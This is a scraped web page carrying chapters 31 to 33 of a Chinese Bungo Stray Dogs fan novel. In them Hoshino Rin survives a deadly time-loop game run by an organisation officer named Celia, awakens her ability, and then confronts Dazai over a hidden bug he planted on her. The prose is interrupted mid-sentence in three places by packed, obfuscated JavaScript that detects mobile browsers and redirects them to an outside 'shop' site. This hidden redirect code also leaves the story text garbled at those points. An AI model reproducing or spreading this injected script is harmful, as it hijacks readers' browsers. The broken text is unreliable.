“那像乱步先生这样成为资历最老的老古董,就能心安理得地使唤后辈了吗?” 乱步瞬间反驳道:“本名侦探才不是老古董呢!凛酱也太失礼了吧,我要去告诉社长。” 星野凛打了个哈欠:“对不起,我不该顶撞前辈。” “哼,这还差不多,不过我还没有完全原谅你呢!凛酱一会出去帮我买几包粗点心我就原谅你。” “没问题,不过得明天才能去。” “为什么?” “因为我刚刚步行走回来的,腿特别酸,不能再去跑腿了,如果我没有休息好就去跑腿的话,我就和社长告状,说乱步先生虐待后辈。” 乱步:“?……” 31.第 31 章 今天的横滨阴云密布,天上隐隐有几道闪电,乱步打开窗户,空气中有海风带来的咸湿气味。 “看来今天要下雨了。” 乱步又把窗户关上了,坐到自己的工位上。 “我说,凛酱,你也该回员工宿舍睡觉了,不要一直在侦探社留宿啊。” 星野凛把毯子蒙到头上,声音有点闷:“昨天太累了,不知不觉就在侦探社睡着了,乱步先生好小气,我又没去你家睡。” 乱步听到她的后半句话,差点没把波子汽水给喷出来:“凛酱不要假设这种可能好吧?!真去我家的话会有很大的麻烦的。” “也是,乱步先生比我大八岁,借宿的话,乱步先生会被人当成变态的吧?而且我和乱步先生站在一起还挺像兄妹的。” 尤其是眼睛的颜色,都是同色系的,一个青色一个绿色,哦对了,她的眼睛还能变成绿色,更有说服力了。 乱步把波子汽水里的弹珠取出来,放在桌子上:“不要强调年龄,本名侦探永远十八岁,和凛酱同龄才对!” “……” 星野凛从沙发上坐了起来,头发乱糟糟的,她走到饮水机旁接了杯水:“话说昨晚除了我,还有人在侦探社吗?” “凛酱为什么这么问?” “可能是我太累了,产生的幻觉吧,我总觉得昨晚有一双眼睛一直在盯着我,害得我只睡了六个小时。” 希望是错觉,不然以后她都不想在侦探社留宿了,有变态在根本睡不着啊。 乱步趴在桌子上无聊地玩弹珠:“不是幻觉,凛酱想知道那个人是谁吗?” “当然了。” “那就去买粗点心,而且凛酱昨天已经答应了去买粗点心的,结果到现在都没去!快点去买,买了本名侦探就告诉你昨晚在侦探社的是谁。” 星野凛喝了口热水:“我一点都不好奇了,我要回去睡觉。” “不能出尔反尔,难道凛酱要做一个言而无信的人吗?” 她坐到自己的工位上看漫画,闻言轻嗤:“信用是什么?能吃吗?能喝吗?” “……” 乱步顿了顿,过长的刘海依旧挡不住他犀利的目光:“凛酱去吧,会有意想不到的收获的。” “真的假的?不会是乱步先生你为了哄骗我而编的谎言吧?” “当然是真的,凛酱快点去吧。” 星野凛叹气道:“好吧,不过今天是周末,人肯定特别多,排队也需要时间,乱步先生得多等一会了。” 反正闲着也是闲着,就当是散步了。 “我没问题,凛酱慢点走,一路顺风哦。” “我知道了。” 星野凛穿上外套就出去了。 “等一下,带上伞吧,今天会下雨。” 听到乱步的话,星野凛又折返回来拿伞:“谢谢提醒。” 拿完伞又把门给关上了。 “好了,出来吧,一直躲在那里,是打算一直不见她吗?” 乱步瞥了一眼医务室的位置说道。 太宰从医务室里走了出来:“哦呀,真是什么都瞒不过乱步先生啊。” “被当成变态的感觉怎么样?” “还不错,真是有意思啊,原来凛酱晚上睡觉那么不老实。” 乱步复杂地看了他一眼:“呐,我说你是不是对凛酱太过关注了?” “这都是正常的乱步先生,我们还要通过她获取那个海外组织的信息,还有她身上的秘密呢,对她有所关注也是在所难免的。” 乱步看了眼楼下的方向:“这么做是最优解没错,但对凛酱来说完全是利用吧?” 太宰坐到沙发上,上面还有星野凛留下的余温:“没关系的乱步先生,我这么做也是为了她好。” 乱步肯定地说:“你会后悔的。” 太宰失笑着说:“我从遇见凛酱那一刻起,就制定好了这个计划,没什么可后悔的,我相信她能克服困难,给我带来惊喜的。” “凛酱还有那个组织的事,远比你想得复杂,我和你说过好多次不要把赌注都下在凛酱一个人身上,你是想让她死吗?” 太宰静默了几秒,开口道:“乱步先生,你知道我没有那个意思。” “还真是迟钝啊太宰……” * 星野凛把雨伞放在零食店门外,自己走了进去。 她拿了一个购物筐,随便挑了几样零食就去结账了。 如果不是乱步先生,她都不知道粗点心还有那么多种类,只不过包装很怀旧,比较有年代感。 星野凛付完钱就走出了零食店,抬头看了看阴沉的天,还好带了伞,万一下雨被淋湿了会感冒的。 今天哪怕是阴雨天也依旧有那么多人,星野凛观察着四周,拢了拢外套。 渐渐地,她发现了不对劲,越往前走,路上的行人就都站在原地一动不动,没有表情,也没有动作。 这个症状她再清楚不过了,这些人全都中了异能。 意识到这一点她紧忙查看离自己最近的一个人,“你还好吗?能听见我说话吗?快点醒醒!” 对方毫无反应。 也是,中了异能的人怎么可能被轻易唤醒,她可真是关心则乱。 她拿出手机联络乱步,铃声一直在响,没有人接。 她又联络太宰,还是没有人接。 可恶,这两个家伙,关键时刻怎么不接电话,星野凛一气之下把手机摔到地上,手机瞬间变得四分五裂。 如果她也能掌握异能的话,就不用像个等待救援的可怜虫一样了,靠人终归不如靠己,她一直都明白这个道理。 “部长大人喜欢我送给你的礼物吗?” 星野凛抬头追寻声音的来源,看到了一个穿着洛丽塔服装,长着一张娃娃脸的女人。 “看来是真的失忆了,我来自我介绍一下吧,我叫西莉娅,是组织的干部之一。” 星野凛释怀地笑了:“还真是组织的手笔啊,我果然没有怀疑错。” “部长大人感到绝望吗?失去了记忆,用不了异能,身上还有副作用外加倒霉体质,我要是你就乖乖地和首领认错,这样就不用受这些苦了。” “亏你还是干部呢,还真是天真啊,我一个被组织通缉的叛徒回到组织,往往只有两种结局,你知道是哪两种结局吗?” 星野凛看着比自己矮一头的西莉娅,补充道:“你求我,我就告诉你。” 西莉娅皮笑肉不笑道:“部长大人还真是一如既往地幽默啊。” “算了,我就大发慈悲地告诉你吧,是非死即残,你懂什么是非死即残吗?还是说你是故意诱导我回到组织接受这两种刑罚的?” 西莉娅避而不答,转移话题道:“部长大人知道深川干部在哪里吗?首领很器重她,如果她能回来,就不计较她和你一起叛逃的事了。” 又是这人,这人到底是谁啊?还和她一起叛逃,她怎么一点印象都没有。 不管了,先诈一下西莉娅再说。 星野 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17112244|194643||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凛:“我当然知道她在哪,但我凭什么告诉你?” “没关系,反正这次的目标也不是深川干部。” 什么意思?目标不是深川,那不就意味着,目标变成她了吗? 星野凛意识到这一点后,迅速跑出了西莉娅的视野。 西莉娅摘下了白色手套,“还真是麻烦啊。” “异能力——【时间回溯·暂停】” 星野凛被定格在了原地,西莉娅不紧不慢地走到她的面前。 解除了时间暂停,星野凛疑惑地看着西莉娅,不对啊,她明明跑了,这家伙是怎么追到她面前的,一点都不合理啊。 这家伙肯定用了异能,真是卑鄙。 “既然部长大人这么喜欢逃跑,那我就请部长大人来玩个游戏吧。” “【时间回溯】——” 星野凛感到一阵眩晕,睁开眼后发现自己在刚才路过的街道上,身边还有当时中了异能的人,很明显,她又中西莉娅的异能了。 还是和那些中了异能的人一起被困在了这个时间段里。 西莉娅站在虚拟的高台上,拿着大喇叭说道:“大家好,我是游戏管理员西莉娅,欢迎大家来到由我一手创立的游戏,游戏名为大逃杀游戏,规则也很简单,只要在半个小时内成功杀掉在场的所有玩家,就能离开这里,回到现实。” “如果没有在规定时间内完成游戏内容的话,就会永远留在这个时间里,没有我的允许永远也走不出去,这个时间段会不停地循环,直到你老去为止。” 众人神色各异,有的抱头痛哭,有的崩溃大叫。 “可恶,我不要一直留在这里啊,我还那么年轻,还没有毕业,我要离开这里!” “天国的父亲啊,请原谅女儿的不孝,女儿以后不能去给您扫墓了……” “该死!怎么会这样,我在出门前还特意带了御守出门,为什么?!你这个家伙到底想干什么?” “这个女人是恶魔,她想让我们自相残杀,我们不要上她的当!” 西莉娅掏了掏耳朵:“已经过去五分钟了哦,还剩下二十五分钟。” 她的话语像是催命符一样,落在每个人的耳朵里,让人胆颤心惊。 星野凛冷冷地扫了一眼西莉娅:“在你的异能里死掉的话,那在现实中肯定也死了吧?” 西莉娅打了个响指:“不愧是部长大人,这都猜到了。我再给大家补充一下,在这里被杀,就回不到现实世界了,请大家保护好自己珍贵的生命,并活到最后吧。谁活到最后,我就把谁送回去。” “同样的,如果一直不敢行动的话,超过了半个小时也一样回不去。” 说得倒是好听,这家伙根本就没想过留活口吧? 西莉娅不知从哪拿来一个麻袋,里面全是武器,匕首,手枪应有尽有。 “这是我给大家准备的游戏道具,还请大家充分利用。” 西莉娅把麻袋里的武器全都撒了下去。 其中有一个肤色黝黑的男人,在地上捡起一把手枪,对着旁边的大叔毫不犹豫地开了一枪。 “砰”地一声,星野凛及时跑过去,把男人的手枪给踢掉了,所幸子弹打偏了,那个大叔没有受伤。 “谢、谢谢你。”大叔颤颤巍巍地跪在地上,裤子上还有可疑的痕迹。 “部长大人这是存心要和我作对吗?” 星野凛踢了一脚旁边的匕首:“是又怎样?我就是看不惯你这副把人命当成游戏来娱乐的嘴脸。” 32.第 32 章 “部长大人不要说得那么难听嘛,我只是想和大家一起玩个游戏而已,难道玩游戏还有错吗?” 星野凛翻了个白眼:“原来践踏人命也叫玩游戏,真是长见识了。” 西莉娅手里拿着一个怀表,笑容甜美:“现在只剩下十五分钟了哦,看来大家这么想留在我的异能里安度晚年啊,如果不想的话,就赶紧行动起来吧。” 面对西莉娅看似提醒,实则威胁的话语,众人心如死灰,面露纠结。 继那个男人之后,又站出来一个清秀瘦弱的少男,他像是下定了某种决心,从地上捡起一把匕首,对着身旁的小女孩刺去。 “对不起,我只是想活下去而已。” 星野凛一脚把少男给踹倒在地,急忙查看小女孩的情况:“你没事吧?” 小女孩摇摇头,后怕地钻进了星野凛的怀里:“姐姐我好怕,那个哥哥为什么要拿匕首来吓我?那样一点都不酷。” 星野凛拍了拍她的后背,安抚道:“没事了,一会姐姐送你回家。” 在星野凛安抚小女孩的时候,已经有两人伤亡了。 “这才是大逃杀游戏的精髓啊,继续吧,继续杀下去,成为最后的赢家。” 西莉娅兴奋地说道。 星野凛听到西莉娅的话后,抬头看了看四周,离她只有十步远的地上,躺着一具尸体,还有一个因腹部中刀,失血过多而晕过去的人。 “芽依,你在哪里?” 双手沾满了鲜血,还握着把匕首的女人,正焦急地呼喊着。 “姐姐,我好像看到妈妈了。” 小女孩拽了拽星野凛的衣角。 星野凛挡在小女孩的面前:“一会再去找妈妈好不好?妈妈现在在和你玩捉迷藏游戏,你跑出去就输了,所以千万不能跑出去知道吗?” 小女孩似懂非懂地点了点头。 那个女人杀红了眼,精神状况很差,让小女孩过去,无异于把她送进深渊。 西莉娅目睹眼前这一幕,唇角缓缓勾起一个弧度:“哎呀,部长大人你怎么不让芽依回到妈妈的身边呢?芽依肯定很想妈妈吧?” 女人迅速锁定星野凛身后的芽依:“终于找到你了,芽依……” 芽依看了眼星野凛,对女人说:“妈妈,我不想输,你不要过来好不好?” 女人温柔地笑了:“好,妈妈就在这里等你。” 随后一脸阴郁地看着星野凛:“你对我的女儿做了什么?” “没什么,只是让她不要乱跑,避免受伤而已。” 女人显然不相信星野凛的说辞,但碍于芽依在她身后,就没有动作。 西莉娅这次用上了喇叭,对着众人喊道:“现在只剩下十分钟了哦,请大家积极参与进游戏里,说不定下一个赢家就是你。” 许多人听到这句话再也绷不住了,脸上的犹豫和恐惧纷纷被决绝所替代。 越来越多的人捡起地上的武器,对着身边的人发起攻击,没一会鲜红的血迹像控制不住的水龙头一样流了满地,蔓延到了星野凛的脚边。 芽依好奇地用手指沾了一点,放在鼻子上闻了闻:“好难闻的味道,姐姐我不喜欢这个味道。” 星野凛把纸巾递给她:“那就擦掉吧。” 就在星野凛说话的间隙,已经有五个人倒在地上,成为这条血河的原材料之一了。 那股无能为力的感觉又涌上了她的心头,她阻止得了一个人,却阻止不了一群人。 周围的人被西莉娅催促着变成了杀人的恶魔,恶魔是没有理智的。 为了保护芽依,她时刻注意着他们的动向。 “芽依,跟妈妈回家吧,妈妈马上就能成为赢家了。” 女人全身都是血,神情恳切地看着芽依。 芽依从星野凛身后走到女人的面前。 “不要去!” 星野凛喊道。 女人瞪了一眼星野凛,又面带微笑地对芽依说:“芽依乖,到妈妈这里来。” 不过短短十分钟的时间,浩浩荡荡的人群只剩下了三个人,她,那个女人,还有芽依。 芽依丝毫没受环境的影响,跑进女人的怀里:“妈妈,我们什么时候才能回家?” 女人笑着说:“当然是现在。” 芽依懵懂地看着她,女人把匕首送进了芽依的身体里,没一会芽依就没了气息。 “赢家只能有一个人,抱歉了芽依,原谅妈妈的自私吧。” 星野凛刚才在思考怎么逃离这里,没察觉到女人的动作,看到倒地后的芽依,她厉声质问道:“你对芽依做了什么?” 女人把匕首上的血擦干净:“为了成为最后一名赢家,我杀了她,接下来,我只要再把你给杀了,那我就能离开这里了。” 疯了,这个人疯了,为了赢竟然把自己的女儿给杀了。 星野凛先发制人,把女人打晕在地,抱起芽依的尸体,看向西莉娅:“放我出去。” “部长大人得先把那个女人杀了才能出去,不然我是不会把你放出去的。” “这么做对你来说有什么好处?看到血流成河的场景你就满意了?你这个疯子。” 西莉娅从虚拟的高台上下来,走到星野凛的面前:“真是谢谢部长大人的夸赞啊,我就是个疯子,你能把我怎么样?就凭你现在的实力,不用施展异能,我就能杀了你。” “要问有什么好处的话,我只是单纯地想看部长大人崩溃的样子才设计了这个游戏,没想到部长大人这么顽强,到现在还这么理智。” 星野凛把芽依放到地上,“你,还有组织到底有什么秘密?为什么非要抓着我这个叛徒不放?” 西莉娅把怀表捏碎,擦了擦手:“这些都是首领的意思,部长大人真想知道就和我去面见首领吧。” “组织最大的秘密就在你的身上,难道来横滨这么长时间,你都没有产生过副作用吗?” 听到“副作用”这三个字,星野凛对上她的视线:“副作用到底是什么?” “部长大人难道没有察觉到自己的力气异于常人吗?副作用就是接受了身体强化手术之后,产生的副作用。手术分为两种,一种是身体强化,还有一种是异能强化。” “我只接受了身体强化,异能强化需要健康的身体,像部长大人这种就是接受了两种手术的人,所承受的痛苦是我的千倍。” 星野凛感到腹部一阵疼痛,她忍着疼痛道:“我怎么知道,这是不是你编造的谎言?” 西莉娅摊手道:“信不信随你咯,首领是欧洲有名的异能技师,来找她做改造手术的人数不胜数,部长大人有机会自己去验证吧。” “不过首领给你做手术还真是浪费啊,她辛辛苦苦地栽培你,重用你,结果你却联合深川干部一起背叛了她,现在又下令不准杀你,你到底有什么好的?值得首领这么维护你。” “你就是个灾星,每次执行任务都会发生意外,傲慢又自我。一个在组织里突然冒出来的家伙有什么资格成为部长?现在失去了记忆的你,就是一条无家可归的流浪狗罢了。” 星野凛懒得理她,因为疼痛,不得不坐在了地上,任由鲜血染红裤子。 西莉娅见星野凛蹲下,把手按到地上,举着沾满血迹的手掌说道:“你要永远记住,这些人是因为你而死的,这场大逃杀游戏也是因为你才创立的,你要永远带着愧疚活下去才行。” 这是什么强盗逻辑?自己杀了人还要把罪名都安到她头上,她凭什么要永远愧疚?该愧疚的人是这个混蛋才对。 她承认这些人确实是因为她才卷进这场大逃杀的,但她没有杀他们,西莉娅就是个没有同理心的疯子,就算没有她,也会开启这种血腥游戏的。 人性本就自私,为了活下去不择手段一点也不稀奇,她只是没有想到,这些人这么疯狂,完全被西莉娅所摆布,构成现在这副血流成河的景象。 “我把你卷进异能,还有一个重要的原因,我想看看深川干部会不会来救你,毕竟你们是姐妹,看到妹妹有危险,深川干部不可能不出来。” 什么?那个深川是她的姐姐?这个信息量也太大了吧,她完全没有想过她和深川还有这层关系。 西莉娅把星野凛震惊的表情尽收眼底:“深川干部可是为了你叛出了组织,两个多月没有接受定期的修复手术,会有什么样的后果你比我更清楚吧?” “抱歉,我忘记你失忆了。” “接受了改造手术,每个月都要定期做修复手术,不然体内的力量得不到约束,会在身体里四处冲撞,让你疼痛难忍,没想到深川干部为了你连副作用带来的疼痛都能忍下,实在是太感人了。” 西莉娅拿出一小瓶药剂:“你现在应该很难受吧?副作用一旦开启就会随时发作,除了接受修复手术之外,还有一个好办法,那就是喝下首领特制的药,只要喝了药,效果和接受修复手术是一样的。” “你到底想说什么?”星野凛强撑着站起来。 “以前在组织里,因为是同事,我四处忍让你,现在你就是个叛徒,我再也不用顾忌这些了。” 西莉娅笑着开口:“很简单,我要你像狗一样跪在地上求我,直到我满意为止,我满意了就会把药给你,你就不用忍受副作用带来的痛苦了,怎么样?是不是很划算?” 星野凛狠狠掐了一把自己的手臂,忍下钻心的疼痛,笑出声:“哈哈哈哈……想让我求你?做梦去吧,我就是死也不会求你这种人的。” 西莉娅的笑容瞬间消失:“你这个怪物有什么拒绝的资格?你应该感恩戴德才对。” 听到脑海中的熟悉词汇后,星野凛捡起地上的匕首,冷冷道:“我是怪物,那你是什么?哦,我都忘了,你是首领麾下那条最听话的狗啊,明明自己是狗,怎么还把别人认成狗了呢?” “一条看门狗,看谁都是同类。” 西莉娅彻底被激怒,不过很快又冷静了下来:“我不和连异能都用不了的废物一般见识。” “现在的副作用还只是初级,过段时间会变成中级,比现在难受一万倍,你确定不来求我吗?” 星野凛走近她,伸手问她要:“给我。” 西莉娅露出得意的笑,递给了她:“记得要求我,不然这瓶药打不开,上面有我的异能设置的锁,只有我才能打开。” 星野凛接过,当着西莉娅的面把药用力摔到地上,瓶身碎成了渣,药也和血混在一起,分辨不出来了。 西莉娅惊慌失措地去查看地上的药:“你是疯了吗?!那可是首领好不容易才研制出来的特效药,一年只能研制出三瓶,就这么被你给毁了!” “我说过了,我就是死也不会求你这种人的。” 星野凛因为疼痛半蹲在地上,脑海中浮现出了两幅画面,其中一个画面是她被一群人送进手术室,准备做手术的场景,她看不清给她做手术的人的脸。 只看到了自己痛苦哀嚎的表情,画面断断续续,马上又转到下一个场景。 “凛,你决定好了吗?” 一个看不清脸的蓝发女人对她说道。 “决定好了。” 她听见了自己的声音。 “好,那我就陪你赌一把。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122224|194643||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 蓝发女人说完就去解决四面八方的敌人了,不知生死。 话面到这就结束了,星野凛抱着头慢悠悠站起来,那个女人会是深川吗? 如果是深川的话,她现在是生还是死?副作用这么厉害,她会不会出事? 星野凛怀揣着满腹疑问,她虽然不记得这个女人是谁了,但她不想她死。 这种莫名的情绪深深地在她的心里扎根,完全是凭借本能反应判断出这个人对自己的重要程度。 “如果承受不住副作用会怎样?” 西莉娅从满是血污的地上站起来,裙摆上因为蹲下的动作沾染上了颜色,听到星野凛的话,忍不住笑出声:“哈哈哈哈哈,当然是会死啊。” “不过像你这么顽强的人我还是第一次见,组织里每年因为承受不住副作用而死去的人,数都数不清,你是在替自己问?还是替深川干部问?” “我早就猜到你没和深川干部一起,之前只是想试探一下你,看来你是真的不知道深川干部在哪里啊,深川干部的体质和你不一样,她对疼痛的敏感度很高,特别怕痛,一点不起眼的疼痛,在她眼里都是灾难级别的。” 西莉娅紧盯着星野凛的脸:“所以,你猜一下她是死了?还是活着?” 星野凛心乱如麻,如果深川活着的话,那这么长时间以来为什么不来找她?她们不是姐妹吗?深川没有理由不来找她。 那只有一种可能了,也是她最不想假设的可能。 深川很有可能死了。 “深川干部之所以是干部并不是因为她的异能有多厉害,而是因为她的头脑,她的聪明程度在组织里,除了首领无人能比,但她的异能充其量就是个打辅助的存在,体质也没有你好,对疼痛的忍耐值又很低,我敢打赌,她有百分之七十的可能已经死了。” 西莉娅颇为惋惜道:“真是可惜了,为了你这么个怪物,断送自己在组织的大好前程,真是愚蠢啊。” 星野凛不敢相信西莉娅的推测,她的额头上满是细密的汗珠:“放我离开这里。” 西莉娅装模作样地看了看手上并不存在的怀表:“哎呀,不知不觉已经过去一个小时了,我宣布,这场大逃杀游戏,没有一个人胜出,按照规则,没有获胜的人就要永远留在我的异能里。” “很抱歉,部长大人要永远留在我的异能里了。” 西莉娅说完转身就走了。 这个混蛋,嘴上说着抱歉,脸上却没有丝毫歉意。 星野凛眼看自己就要被困在这里,心中涌出了无数的不甘和愤怒,那股在四肢百骸里胡乱冲撞的力量,用力冲破了禁锢,流淌在她的体内。 她几乎是凭借本能来使用自己的异能:“异能力——【掠夺·人间失格】” 随着异能的发动,西莉娅的异能消失得无影无踪,她回到了现实。 西莉娅察觉到这股力量,惊恐地看向她:“这、这不可能!你怎么可能这么快就把首领给你下的异能封印给解开了?” 原来她的异能之前被封着啊,她还以为是自己没有了记忆,不清楚怎么发动异能,才导致异能看起来可有可无呢。 星野凛感受着体内陌生的力量,她伸出手,看到上面漂浮着蓝色的光点,这就是有异能的感觉吗? 真爽啊。 想到在大逃杀里死去的人,她如法炮制,使用异能:“异能力——【掠夺·请君勿死】” 上一秒还在原地一动不动的人,下一秒就恢复了生机。 与谢野医生的异能可真好用啊,那些死去的人全都活了过来,她也不用承受良心的谴责了。 幸好在西莉娅的异能中死去算濒死,如果是灵魂在身体里死去的话就救不了了。 她刚才是抱着失败的决心来发动异能的,因为根本不确定灵魂离开身体死亡算不算濒死,还好幸运之神总算眷顾了她一次。 不过也得感谢西莉娅的异能有这么大的bug。 看到那些参加大逃杀的人都离开这里后,星野凛才想起来要惩治罪魁祸首。 “接下来,该轮到你了。” 星野凛活动了一下手指,在西莉娅发动异能前,抢先发动了【人间失格】来抵挡。 西莉娅眼见自己的异能没用,拔腿就跑,星野凛没一会就跑到了她的面前:“不是接受了身体强化手术吗?怎么和普通人一样,真逊。” “我得感谢你,让我知道了松本月华的异能是怎么回事。” 因为松本月华接受了异能强化手术,可以无视与谢野医生的异能,西莉娅没有接受异能强化,所以太宰的异能对她有效。 西莉娅戒备地看着她:“你到底想怎样?我是绝对不会背叛组织的,休想从我身上得到组织的重要情报。” “知道你是首领养的好狗了,谁稀罕你那破情报。” “那你到底想干嘛?” “啧,废话真多。” 星野凛捏了一下手指关节,以迅雷不及掩耳之势一拳打在了西莉娅的下巴上:“老子看你不爽很久了。” 西莉娅没料到她的举动,下巴关节被她打得错位,见她还要继续,立马扔下一个烟雾弹逃跑了。 星野凛懒得追,双手插.进兜里准备离开,结果在兜里摸到一个不规则形状的东西。 她拿出来一看,是窃听器。 刚想把窃听器碾碎就感到一阵眩晕,在晕倒之前她好像看到了一个身穿沙色风衣的人,正向她这里走来。 想都不用想就知道那人是谁。 星野凛用力把窃听器给碾碎,在太宰还没靠近她之前就晕了过去。 33.第 33 章 星野凛睁开眼,看到熟悉的天花板就知道自己回到了侦探社。 “与谢野医生,凛酱醒了。” 太宰削苹果的动作微顿,转头喊道。 与谢野晶子急匆匆赶来,“还真醒了。” 星野凛慢慢起身,靠在枕头上:“与谢野医生,我想知道我为什么会晕?” 难道是因为承受不住异能才晕过去的? 与谢野晶子:“这个嘛,应该和你的异能有关。” 太宰的窃听器还真是派上了大用场啊,星野凛本想表现出震惊,但觉得自己演技太差,就放弃了。 “你的异能之前被封印在体内,是你自己硬生生冲破了封印,你承受不住这么大的力量,就晕过去了。社长说让你隐藏好自己的异能,除了紧要关头之外不要随便使用异能,会被有心之人利用的。” 她猜的果然没错,不过被人利用这事说出来怎么这么讽刺呢,她现在不就被某个家伙给利用了吗? 星野凛在心里疯狂吐槽,面上丝毫不显:“我知道了,与谢野医生。” 与谢野晶子继续道:“你的异能之所以能觉醒,和你的记忆脱不了干系,这种异能封印很特殊,是和你的记忆还有情绪挂钩的,你是不是想起了什么?” 当时她的脑海中确实闪过了两幅画面,她没有说出来,也没有拿记忆中的画面来质问西莉娅,她确信窃听器并没有听到这些,接下来只要装作毫不知情的样子就能瞒过去。 只有脑子有问题的人才会把自己的老底给透出来。 星野凛愁眉苦脸地摇了摇头:“我什么都想不起来,如果有那种能迅速恢复记忆的异能就好了,这样我就能早点知道自己的过去了。” 与谢野晶子笑着说:“不要总是依赖异能啊,要靠自己想起来才行。” “不过看到你醒过来我就放心了,我得出去购买一些医疗用品,太宰,这里就交给你了。” 太宰把水果刀放下:“放心,我会照顾好凛酱的。” 与谢野晶子把门关上,现在医务室里只剩下了她和太宰。 星野凛觉得这个画面实在是太熟悉了,之前她晕倒的时候也是只有她和太宰。 她一点也不想和这家伙独处。 星野凛重新躺回病床上,把被子蒙到头上。 太宰提醒道:“凛酱,不要把医务室的被子蒙到头上,会有细菌的。” 星野凛转身背对着他,闻言把被子蒙得更严实了。 太宰看着她把自己裹成了一个粽子,唇角轻轻扬起:“凛酱,你这样会把自己憋坏的。” “凛酱?” 星野凛不理他。 “凛酱~” 星野凛装听不见。 “凛酱~~~~” 星野凛忍无可忍地坐起来:“你到底想干嘛?” 太宰把削好的苹果递给她:“凛酱,你吃苹果吗?我刚削的,特别甜。” “……” 星野凛一把夺过苹果,使出全部的力气把苹果啃完,只剩下苹果核:“一点都不甜,不是想削苹果吗?罚你削一百个,削不完不许走出医务室的门。” 太宰把苹果核扔进垃圾桶,笑着说:“凛酱吃苹果的样子好可爱,像小仓鼠。” 星野凛咳嗽了几声:“太宰治,你脑子有病就去治。” 这个情节的展开也太诡异了吧,好像在调.情,等等,调.情? 星野凛联想到这个词汇,咳嗦得更厉害了,她为什么要把这个词用在她和太宰之间,太违和了。 不亚于国木田君对着一根电线杆子说,那是他心目中的理想女性。 她把奇奇怪怪的想法抛到脑后,“你没有别的想对我说的吗?” “当然有哦,只是刚才凛酱一直不理我,我没办法说。” 这家伙可真会甩锅啊,他就不会直接说吗?一直在说没用的废话。 太宰从病床底下拿出一束玫瑰花:“对不起,凛酱,这束花是送给你的赔礼。” 星野凛没接,静静等他的下文。 “在山本身亡的事件中,我故意说了很多伤害你的话,但那并不是我的本意,我是为了激发你的异能才这样做的,那次在医务室里我测验出你的异能和你的身体还有情绪有着密切的联系。” “所以这次我借着西莉娅的手,就是为了逼出你体内的异能。窃听器是我一个人的主意,和侦探社的大家无关,凛酱要怪的话,只怪我一个人就好。” 星野凛脑子里一团糟,“说完了吗?太宰治,你能不能不要总是自我感动啊?你不会觉得自己拿一束花,再和我道歉,主动承担起这一切,我就得原谅你吧?” 太宰出声解释道:“我没有那个意思,凛酱我……” “我不会原谅你的。” 她打断了他的话。 星野凛冷笑道:“你从一开始就在利用我吧?把窃听器装在我身上,听见我被西莉娅嘲讽的时候一定很得意吧?是不是觉得把我耍得团团转很好玩?在当时还不确定我能不能觉醒异能的时候,就强迫我拿自己的命去做赌注。” “我凭什么要原谅你?” “西莉娅说我是怪物我忍了,松本月华骂我是叛徒我也忍了,可你作为我朝夕相处的搭档……我忍不了。” 她原本想说朋友,但还是改成了搭档,她和太宰的关系还达不到朋友的标准,如果是朋友的话,应该就不会这么毫无顾忌地利用她了。 太宰把玫瑰花放回了地上:“是因为凛酱信任我吗?” 因为信任他,所以忍受不了自己对她的利用? 星野凛没有回答他的话,她坐在病床边,给自己穿鞋:“如果我真的死在了西莉娅的异能里呢?太宰君会来给我扫墓吗?还是会假惺惺地掉几滴眼泪,然后寻找新的社员?” 太宰在她的面前半跪着,帮她系鞋带:“我不会让凛酱死的。” 星野凛避开他的触碰:“可我差点就死在了西莉娅的异能里,你不会想说自己在最后一刻赶来,是为了救我吧?” 对她来说,那根本就不是在救她,而是在看她死没死透吧? 她一定要好好活着,气死那些讨厌她的人。 包括太宰治,他不是想让她去死吗?她偏不,她要长命百岁,等太宰治死了,把他的墓给挖出来,让他无家可归。 星野凛站起来,往门外走。 太宰叫住了她:“凛酱,你去哪?” “去哪都好,我会和社长说明的,我们暂时还是不要见面了。” 太宰走到她面前,垂下眼睛,神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17133681|194643||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色晦暗不明:“那凛酱什么时候回来?” 星野凛对上他的视线:“如果我找到了合适的工作,就不回来了,这样就不用被人利用了。” “我在走之前送太宰君一件礼物吧。” 太宰等了半天没见她递礼物,正要开口说话,就被星野凛突然靠近他的动作吓了一跳:“凛酱,你该不会是想送我一个离别吻吧?这样也不是不行。” 他忽然娇羞道:“但人家还没有准备好,能不能等人家准备好了再送这个礼物?” “……”星野凛满头黑线:“你想多了。” 星野凛垫脚拽住他的衬衫衣领,把脖颈处的绷带解开,头贴近他的侧颈,用力咬了上去。 太宰忍不住痛呼出声:“好痛啊,凛酱。” 直到咬破,她才松口。 太宰抬手摸了上去,有温热的液体流了出来,是血。 他捂着伤口,看向星野凛:“这就是凛酱送给我的礼物吗?我很喜欢。” 